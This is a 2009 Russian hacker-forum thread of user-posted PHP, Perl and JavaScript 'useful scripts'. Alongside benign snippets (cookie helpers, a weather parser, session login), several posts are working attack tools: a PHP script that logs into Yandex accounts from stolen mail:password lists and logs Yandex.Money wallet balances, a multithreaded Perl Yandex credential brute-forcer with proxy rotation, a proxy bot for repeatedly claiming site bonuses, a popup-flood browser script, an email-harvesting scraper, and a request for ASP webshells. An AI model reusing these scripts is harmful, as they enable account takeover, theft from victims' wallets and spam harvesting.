Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Code:
    '/[\.\-_A-Za-z0-9]+?\@[\.\-A-Za-z0-9]+?[\.A-Za-z0-9]{2,}/'
     
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Gaus, смотри пост выше.
     
  3. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Ну начали срать .. не видно, что тут выкладывают скрипты, а не сваливают вопросы \ прозьбы и прочее?
     
    1 person likes this.
  4. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    В общем да, но раз задали вопрос - надо ответить :)
     
  5. mr.gr33n

    mr.gr33n Banned

    Joined:
    6 Jul 2009
    Messages:
    47
    Likes Received:
    68
    Reputations:
    6
    Анти-боян, perl+гугля )

    [Анти-боян, perl+гугля ]

    Так как анти-боян временно не работает, вот написал простенький скрипт на перле, может кому пригодится )))

    Принцип работы думаю понятен )
    Если есть какие-нибудь предложения или недостатки - пишем в ПМ, исправлю)


    PHP:
    #!usr/bin/perl  

    system('title Anti-boyan from ANTICHAT - Coded By mr.gr33n');
    system('color A');
    system('cls');

    use 
    LWP::UserAgent
    use 
    HTTP::Request::Common

    print 
    "\n\t***********************************\n"
    print 
    "\t*           Anti-boyan            *\n"
    print 
    "\t*        Coded By mr.gr33n        *\n"
    print 
    "\t***********************************\n"
    print 
    "\tEnter site:\n\n\n";
    $site=<STDIN>;
    if (
    $site=~ /forum.antichat.ru/)

    print 
    "\n\n\nNe xuya sebe, ti x3k0r!!!=)\n\n\n\n"
    $w=<STDIN>;
    exit;
    }
    $url "http://www.google.com/search?q=.$site site:forum.antichat.ru";
    $lwp LWP::UserAgent->new(); 
    $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4");
    $connect $lwp -> get($url); 


    if (
    $connect -> content =~ /SQL/)

    if (
    $connect -> content =~ /Ingen/)

    print 
    "[+] Proverka : Prodolzhai, eto Ne boyan =)\n"
    } else { 
    print 
    "[-] Proverka : Zabei, eto BOYAN =("

    } else { 
    print 
    "[+] Proverka : Prodolzhai, eto Ne boyan =)\n"



    print 
    "\n\n\n\n\n\n##";
    print 
    "\n# Coded by mr.gr33n";
    print 
    "\n##\n";
    $a=<STDIN>;

    ###
    ## mr.gr33n
    ###
    (с) mr.gr33n
     
    #805 mr.gr33n, 8 Aug 2009
    Last edited: 9 Aug 2009
  6. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    417
    Likes Received:
    32
    Reputations:
    1
    Не знал в какой теме и разделе спросить, нашел вроде бы самую подходящую :)
    Подскажите пожалуйста вебшелл на asp (если есть такие вообще))).
    Где то на ачате когда то встречал целую тему где собраны все вебшеллы (там вроде бы был такой), а вот сейчас перерыл весь поиск но так и не смог найти ту тему. заранее спасибо )
     
  7. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    http://forum.antichat.ru/thread103576.html
     
    1 person likes this.
  8. [aCR]RASSVET

    [aCR]RASSVET New Member

    Joined:
    27 Apr 2008
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0
    JS-функции для работы с cookies

    Code:
    <script type="text/javascript">
    function SetCookie(name,value){
    var argv=SetCookie.arguments;
    var argc=SetCookie.arguments.length;
    var expires=(argc>2)?argv[2]:null;
    var path=(argc>3)?argv[3]:null;
    var domain=(argc>4)? argv[4]:null;
    var secure=(argc>4)? argv[5]:false;
    document.cookie=name+"="+escape(value)+((expires==null)?"":("; expires="+expires))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain));
    }
    function getCookieVal(offset){
    var endstr=document.cookie.indexOf(";",offset);
    if (endstr==-1)
    endstr=document.cookie.length;
    return unescape(document.cookie.substring(offset,endstr));
    }
    function GetCookie(name){
    var arg=name+"=";
    var alen=arg.length;
    var clen=document.cookie.length;
    var i=0;
    while (i<clen){
    var j=i+alen;
    if (document.cookie.substring(i,j)==arg)
    return getCookieVal(j);
    i=document.cookie.indexOf(" ",i)+1;
    if (i==0)
    break;
    }
    return null;
    }
    function delCookie(name){
    if (get_cookie(name))
    document.cookie = name + '=; expires=Thu, 01-Jan-70 00:00:01 GMT';
    }
    </script> 
    создаёт три функции:
    SetCookie (name, value) - устанавливает куку с именем name и значением value, имеет 4 необязательных параметра - expires, path, domain, secure (новичкам это не надо, знающие - поймут =))
    GetCookie (name) - возвращает значение куки с именем name
    delCookie (name) - удаляет куку с именем name
     
  9. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    PHP:
    <?php
        
    function pack_php($file)
        {
            if (!
    file_exists($file) or !is_readable($file))
            {
                die(
    'The file could not be found. Trying to hack yourself? 0_o');
            }
            
            
    $code bzcompress('?>'shell_exec('php -nw '$file), 9);
            
    $output_fname dirname($file). '/'basename($file'.php'). '_bz.php';
            
    $output fopen($output_fname'w');
            
            
    fputs($output'<?php $f=fopen(__FILE__,\'r\');'.
                
    'fseek($f,133);$c=\'\';'.
                
    'while (!feof($f)){$c.=fread($f,1024);}'.
                
    'eval(bzdecompress($c));'.
                
    '__halt_compiler(); ?>'"\n"chr(0));
            
    fputs($output$code);
            
    fclose($output);
            
    chmod($output_fname0777);
            
            echo 
    "done.\n";
            
    $before filesize($file);
            
    $after filesize($output_fname);
            echo 
    '> Before compress : '. ($before 1024). " Kb\n";
            echo 
    '> After compress  : '. ($after 1024). " Kb\n";
            echo 
    '> Compress ratio  : '. (($before $after) * 100) / $before"%\n";
        }
    ?>
    > Before compress : 151.182617188 Kb
    > After compress : 27.3408203125 Kb
    > Compress ratio : 81.915367771%
     
    #809 BlackSun, 13 Aug 2009
    Last edited: 13 Aug 2009
    2 people like this.
  10. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    PHP:
    <?php

    @set_time_limit(0);

    $url "http://passport.yandex.ru/passport?mode=auth&amp;retpath=http://mail.yandex.ru"// урла с авторизацией
    $url1 "http://passport.yandex.ru/passport?mode=logout";   // Выход с ящика.
    $ua "Opera 9.64";
    $ref "http://www.yandex.ru/";
    $req "";
    $money_file "valid.txt"// Фаил с ВАЛИДНЫМИ мылами
    $result "result.txt"// Фаил вида мыло:пароль:рублёвая зелень
    $nulled "nulled.txt"// Фаил с кошелями с нулевым балансом.
    $counter "0";
    $counter1 "0";

    $fp fopen($money_file,"r");
    $fp1 fopen($result,"a+");
    $fp2 fopen($nulled,"a+");

    for (
    $i 0$i 1681;$i++) { // Тут задаём количество мыл в файле.Удобно,если нужно считать часть мыл,а не все сразу

    $str fgets($fp,1024);
    $str explode(":",trim($str));
    $req "login=$str[0]&passwd=$str[1]";   //Формируем запрос



    $ch curl_init();

    curl_setopt($ch,CURLOPT_URL,$url);              //Посылаем запрос
    curl_setopt($ch,CURLOPT_REFERER,$ref);
    curl_setopt($ch,CURLOPT_USERAGENT,$ua);
    curl_setopt($ch,CURLOPT_POST,1);
    curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
    curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
    curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

    $res curl_exec($ch);

    curl_close($ch);

    $ch curl_init();

    curl_setopt($ch,CURLOPT_URL,"http://money.yandex.ru");   // Переходим на страницу Яндекс.Деньги,чтобы посмотреть баланс.
    curl_setopt($ch,CURLOPT_REFERER,"http://passport.yandex.ru");
    curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
    curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

    $res1 curl_exec($ch);

    if(
    preg_match_all('#<span id="current-user-balance">(.*?)</span>#',$res1,$m)) { // Парсим рубли )

    foreach ($m[1] as $r) {

    if (
    $r == '0,00*руб.') {

    $counter1++;
    $null $str[0].':'.$str[1].':'.$r;
    fwrite($fp2,$null."\r\n");

    }

    else {

    $counter++;
    $res $str[0].':'.$str[1].':'.$r;
    fwrite($fp1,$res."\r\n");

    }

    }

    }


    curl_close($ch);

    $ch curl_init();

    curl_setopt($ch,CURLOPT_URL,$url1);              //Выходим с мыла.
    curl_setopt($ch,CURLOPT_USERAGENT,$ua);
    curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
    curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

    echo 
    "Ждём три секунды...<br>";
    sleep(3); // Задержка перед запросами на чек мыл.

    curl_close($ch);

    }

    echo 
    "<center>Всего кошельков: $counter </center>";
    echo 
    "<center>Из них пустых: $counter1 </center>";

    fclose($fp);
    fclose($fp1); // Каанееец ^_________^
    fclose($fp2);

    // Copyrighted by Веля солнышкин

    ?>
    ЗЫ: Добавлена проверка для кошельков с нулевым балансом).
     
    #810 Велемир, 13 Aug 2009
    Last edited: 13 Aug 2009
  11. okthxnz

    okthxnz Banned

    Joined:
    8 Aug 2009
    Messages:
    15
    Likes Received:
    32
    Reputations:
    0
    Скрипт отвечаюшей за перемещение окна броузера по десктопу и его отражение
    Простенький скрипт, не помню где достал
    Конечно не оч полезный, но все же :)

    Code:
    <script language = javascript>
    
    function move_the_window( ){
    
    window.resizeTo(screen.width/2,screen.height/2);
    
    window.moveTo(1,1);
    
    var x=1;
    
    var y=1;
    
    var dx=7;
    
    var dy=10;
    
    move( );
    
    function move( ){
    
    while(true){
    
    if(x>=(screen.width) || x<=0) dx=-dx;
    
    if(y>=(screen.height) || y<=0) dy=-dy;
    
    x+=dx
    
    y+=dy;
    
    window.moveTo (x,y);
    
    }
    
    }
    
    }
    
    </script>
    Ну и генерация множества окон:

    Code:
    <script language = javascript>
    function generate_windows( ){ 
    var i=1;
    while (i < 10000){ 
    window.open(); 
    i++;  
    }  
    }  
    </script> 
     
  12. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452

    скрипт можешь в архив скидывать, уже больше полугода как он не работает в браузерах, блокируется. ;)
    Его еще на старом ачате выставляли
     
    _________________________
    #812 Uex Urgent, 14 Aug 2009
    Last edited: 14 Aug 2009
    4 people like this.
  13. okthxnz

    okthxnz Banned

    Joined:
    8 Aug 2009
    Messages:
    15
    Likes Received:
    32
    Reputations:
    0
    А, спасиб, тогда мне над будет почистить свой архив скриптов:)
     
  14. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    FTP2FTPT from 3-d

    Скрипт, копирующий файл с ФТП1 на ФТП2. Сам скрипт выполняется откуда угодно, место, где выполняется скрипт, не требует резервации под объем копируемого файла (удобно для копирования больших архивов и etc. - т.е. нужно место исключительно для самого скрипта ~ 1.5 кб):
    PHP:
    <?php  
    @set_time_limit(0);  
    @
    ini_set("display_errors","1"); 
    @
    ignore_user_abort(1); 
    //ФТП-сервер, откуда берем файло 
    $ftp_server1 "фтп-сервер1";// Фтп-сервер1 
    $ftp_login1 "фтп-логин1";// Фтп-логин1 
    $ftp_pass1 "фтп-пасс1";// Фтп-пасс1 
    $path1 '/public_html/test.php'// Абсолютный путь до скачиваемого файла начиная с www директории (доступной из веба) 
    $file $ftp_server1.$path1// не трогать:)  
    //ФТП-сервер, куда кладём файло 
    $ftp_server2 "фтп-сервер2";// Фтп-сервер2 
    $ftp_login2 "фтп-логин2";// Фтп-логин2 
    $ftp_pass2 "фтп-пасс2";// Фтп-пасс2 
    $ftp_port2 21;// Фтп-порт2 
    $ftp_time_out2 100;// Фтп-таймаут2 
    $path2 '/test.php';// Асболютный путь до директории на втором фтп, куда будем закачивать файл (включая название файла - тут кладем просто в корень ) 
    ######################################## 
    $file1 "ftp://" $ftp_login1 ":" $ftp_pass1 "@" $file
    $open ftp_connect($ftp_server2,$ftp_port2,$ftp_time_out2  ); // сервер, порт, таймаут  
    if(!ftp_login($open,$ftp_login2,$ftp_pass2))   
        exit(
    "Не могу соединиться");  
    # Копируем #  
    if (ftp_put($open$path2$file1FTP_BINARY))  echo "Файл скопирован с $ftp_server1 на $ftp_server2 в $path2\n";  
    else  echo 
    "Не удалось скопировать в $path2\n";  
    ftp_close($open); // закрываем фтп-соединение 
    ?>
    Копирует, есс-но, любые файлы, .php, .htaccess и etc.

    Протестено на denwer, таким образом никаких ограничений на время исполнения скрипта и прочих привелегий нет и быть не может.
     
    #814 Pashkela, 14 Aug 2009
    Last edited: 14 Aug 2009
    zakidorex and FireFenix like this.
  15. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Простой способ аутентификации на сайте с помощью сессий.
    для работы достаточно написать в начале всех защищаемых скриптах(PHP) строчку include "auth.php";

    auth.php
    PHP:
    <?php
    if (isset($_POST['auth_name'])) {
      
    $name=mysql_real_escape_string($_POST['auth_name']);
      
    $pass=mysql_real_escape_string($_POST['auth_pass']);
      
    $query "SELECT * FROM users WHERE name='$name' AND pass='$pass'";
      
    $res mysql_query($query) or trigger_error(mysql_error().$query);
      if (
    $row mysql_fetch_assoc($res)) {
        
    session_start();
        
    $_SESSION['user_id'] = $row['id'];
        
    $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
      }
      
    header("Location: http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
      exit;
    }
    if (isset(@
    $_GET['action']) AND @$_GET['action']=="logout") {
      
    session_start();
      
    session_destroy();
      
    header("Location: http://".$_SERVER['HTTP_HOST']."/");
      exit;
    }
    if (isset(
    $_REQUEST[session_name()])) session_start();
    if (isset(
    $_SESSION['user_id']) AND $_SESSION['ip'] == $_SERVER['REMOTE_ADDR']) return;
    else {
    ?>
    <form method="POST">
    <input type="text" name="auth_name"><br>
    <input type="password" name="auth_pass"><br>
    <input type="submit"><br>
    </form>
    <?
    }
    exit;
    ?>
     
    3 people like this.
  16. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Написал от нех делать скрипт для получения бесплатных бонусов на WMR кошель :)
    При работае юзайте прокси, т.к. кол-во получений бонуса в день == 1.
    Code:
    #!/usr/bin/perl
    use strict;
    use warnings;
    use LWP::UserAgent;
    use threads;
    use threads::shared;
    
    ###########################
    my $threads = 1;          # Кол-во потоков
    my $wmr = 'R185203825511';# Кошель WMR
    my $count_attempt = 1;    # Кол-во попыток получения бонуса
    my $proxy_mode = 'ON';    # Режим прокси(ON/OFF)
    my $proxy = 'proxy.txt';  # Файл с прокси
    ###########################
    
    open my $prx, '<', $proxy or die "\nCould not open proxy file!\n";
    chomp(my @proxys : shared = <$prx>);
    close $prx;
    threads->new(\&main) for 1 .. $threads;
    $_->join for threads->list;
    sub main
    {
        my $ua = new LWP::UserAgent;
        $ua->default_header('Referer' => "http://kamtreid.ru/bon.php");
        for(1..$count_attempt)
        {
            if($proxy_mode eq 'ON')
            {
                until(proxy($ua)){}
            }
            my $answ = $ua->get("http://kamtreid.ru/form.php")->content;
            my $code = undef;
            if($answ =~ m,cod value='(\w+)',i)
            {
                $code = $1;
            }
            else
            {
                print "[ - ] Error parsing code!\n";
            }
            my $ans = $ua->post("http://kamtreid.ru/bonus.php",
                               ["cod" => $code,
                                "r" => $wmr,
                                "submit" => "%CF%EE%EB%F3%F7%E8%F2%FC+%E1%EE%ED%F3%F1"])->code;
            if($ans == 302)
            {
                print "[ ~ ] Ok\n"
            }
        }
    }
    sub proxy
    {
        my ($ua) = @_;
        my ($ip,$port) = split ':' => $proxys[rand scalar @proxys];
        $ua->proxy('http' => "http://$ip:$port");
        my $test = $ua->get('http://www.cship.info/azenv.php')->content;
        if($test =~ m,$ip,i)
        {
          print "[ + ] Current proxy: $ip:$port\n";
          return 1;
        }
        else
        {
          print "[ - ] Error proxy: $ip:$port\n";
          return 0;
        }
    }
    #(c) Gaus 2009
     
    #816 Gaus, 15 Aug 2009
    Last edited: 10 Oct 2009
  17. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Anners, название темы прочитай! какие нафиг сайты с бонусами!
     
  18. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Погода на weather.bigmir.net

    PHP:
    <?php
    class weather
    {
    ########################################
    #
    # Погода на weather.bigmir.net
    #
    ########################################
    var $url 'http://weather.bigmir.net/main/harkov/8956/';

    var 
    $celsius 'N\A';
    var 
    $windspeed 'N\A';
    var 
    $vlaga 'N\A';
    var 
    $visibility 'N\A';
    var 
    $obl 'N\A';
    var 
    $date 'N\A';
    var 
    $city 'N\A';

    function 
    weather()
    {
    $url file_get_contents($this->url);
    #
    if(preg_match('#<span id=\'TemperatureCelsius\'>(.*)<\/span>#',$url,$matches))
    $this->celsius $matches[1];

    if(
    preg_match('#<span id=\'WindSpeed\'>(.*)<\/span>#U',$url,$matches))
    $this->windspeed $matches[1].'м/с';

    if(
    preg_match('#<span id=\'RelativeHumidity\'>(.*)<\/span>#U',$url,$matches))
    $this->vlaga $matches[1].'%';

    if(
    preg_match('#<span id=\'VisibilityKM\'>(.*)<\/span>#U',$url,$matches))
    $this->visibility $matches[1].'км';

    if(
    preg_match('#<span id=\'CloudCoverage\'>(.*)</span>#U',$url,$matches))
    $this->obl $matches[1].'%';

    if(
    preg_match('#<span id=\'forecastDate\'>(.*?)</span>#U',$url,$matches))
    $this->date 'Погода на '.$matches[1];

    if(
    preg_match('#<div class="fl mrt_small">Погода в (.*)<\/div>#U',$url,$matches))
    $this->city 'В '.$matches[1];
    }
    }

    $a = new weather;
    echo 
    $a->city.'<br />';
    echo 
    $a->date.'<br />';
    echo 
    'Температура '.$a->celsius.'<br />';
    echo 
    'Скорость ветра '.$a->windspeed.'<br />';
    echo 
    'Влажность '.$a->vlaga.'<br />';
    echo 
    'Видимость '.$a->visibility.'<br />';
    echo 
    'Облачность '.$a->obl.'<br />';
    ?>
     
    1 person likes this.
  19. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Брут\чекер мыл на яндексе

    Code:
    #!/usr/bin/perl
    #yandex.ru checker
    #(c) Gaus 2009
    use strict;
    use warnings;
    use LWP::UserAgent;
    use HTTP::Cookies;
    use threads;
    use threads::shared;
    use Fcntl ':flock';
    
    ##############################
    my $mails_file = 'mails.txt';# Файл со списокoм мыл, в формате мыло:пасс
    my $delm = ';';              # Разделитель списка мыл
    my $threads = 1;             # Кол-во потоков
    my $proxy_file = 'proxy.txt';# Файл с проксями
    my $proxy_mode = 'OFF';      # Режим использования прокси
    my $good_mails = 'good.txt'; # Файл с валидными мылами
    ##############################
    
    my @mails : shared = lf($mails_file);
    my @proxys : shared = lf($proxy_file);
    threads->new(\&main) for 1 .. $threads;
    $_->join for threads->list;
    sub main
    {
        my $ua = LWP::UserAgent->new(timeout => 35,
                                     cookie_jar => new HTTP::Cookies,
                                     agent => agent());
        while(@mails)
        {
            if($proxy_mode eq 'ON')
            {
                until(proxy($ua)){}
            }
            my ($mail, $pass) = split $delm => shift @mails;
            my ($login, $dom) = split '@' => $mail;
            my $resp = $ua->post("http://pda-passport.yandex.ru/passport?mode=mauth",
                                ["timestamp" => time,
                                 "login" => $login,
                                 "passwd" => $pass,
                                 "In" => "%C2%EE%E9%F2%E8"])->code;
            if($resp == 302)
            {
                wf($good_mails, "$mail;$pass\n");
                print "[ + ] $mail;$pass\n";
            }
            else
            {
                print "[ - ] $mail;$pass\n";
            }
        }
    }
    sub proxy
    {
        my $ua = shift;
        my ($ip, $port) = split ':' => $proxys[rand scalar @proxys];
        $ua->proxy('http' => "http://$ip:$port");
        my $test = $ua->get('http://zerg.helllabs.com.ua/cgi-bin/textenv.pl')->content;
        if($test =~ m,REMOTE_ADDR=$ip,i)
        {
            print "[ + ] Current proxy: $ip:$port\n";
            return 1;
        }
        else
        {
            print "[ - ] Error proxy: $ip:$port\n";
            return 0;
        }
    }
    sub agent
    {
        my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
        return $agents[rand scalar @agents];
    }
    sub lf
    {
        open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
        chomp (my @data = <$dat>);
        close $dat;
        my %saw;
        return @data = grep(!$saw{$_}++, @data);
    }
    sub wf
    {
        open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
        flock $dat, LOCK_EX;
        print $dat $_[1];
        flock $dat, LOCK_UN;
        close $dat;
    }
     
  20. Dr1ver

    Dr1ver Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    83
    Likes Received:
    80
    Reputations:
    14
    Парсер мыла

    PHP:

    <?php
    $base_url
    ='http://otvet.mail.ru';
    $buffer=file_get_contents($base_url);
    preg_match_all('/[\.\-_A-Za-z0-9]+?@[\.\-A-Za-z0-9]+?[\.A-Za-z0-9]{2,}/'$buffer$emails);
    $emails array_unique($emails[0]);
    foreach(
    $emails as $ke => $vol){
    echo 
    $vol.'<br/>';
    //ну а тут ваши необходимые действия
    }
    ?>


    Немного криво, главное принцип